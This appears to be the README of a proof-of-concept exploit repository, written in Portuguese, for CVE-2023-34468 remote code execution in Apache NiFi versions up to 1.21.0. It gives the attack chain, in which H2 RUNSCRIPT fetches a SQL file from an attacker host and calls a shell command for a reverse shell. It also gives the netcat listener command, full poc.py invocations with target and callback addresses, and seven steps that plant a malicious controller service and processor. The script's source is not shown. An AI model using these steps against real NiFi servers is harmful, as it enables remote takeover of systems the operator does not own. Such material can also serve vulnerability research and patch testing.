
Exploit de Prova de Conceito para CVE-2023-34468 — RCE via H2 RUNSCRIPT no Apache NiFi <= 1.21.0
Execução Remota de Código via RUNSCRIPT do Banco H2 no Apache NiFi <= 1.21.0
O Apache NiFi inclui um JAR do banco de dados H2 por padrão. O serviço de controlador DBCPConnectionPool pode ser configurado para usar esse driver H2. O H2 suporta uma instrução RUNSCRIPT que busca e executa um arquivo SQL de uma URL remota. Esse arquivo SQL pode definir código Java arbitrário via CREATE ALIAS e executá-lo no SO do servidor.
Cadeia de ataque:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Versão |
|---|---|
| Apache NiFi | <= 1.21.0 |
| Corrigido em | 1.21.1+ |
| Java | Qualquer (incluído) |
requests library → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
Terminal 1 — ouvinte:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)
| Argumento | Padrão | Descrição |
|---|
--target | http://NiFi.target.com | URL base do NiFi alvo |
--lhost | 10.10.10.10 | Seu IP (tun0) |
--lport | 4444 | Porta do listener do reverse shell |
--http-port | 80 | Porta para servir rce.sql |
--cleanup | False | Excluir artefatos criados após execução |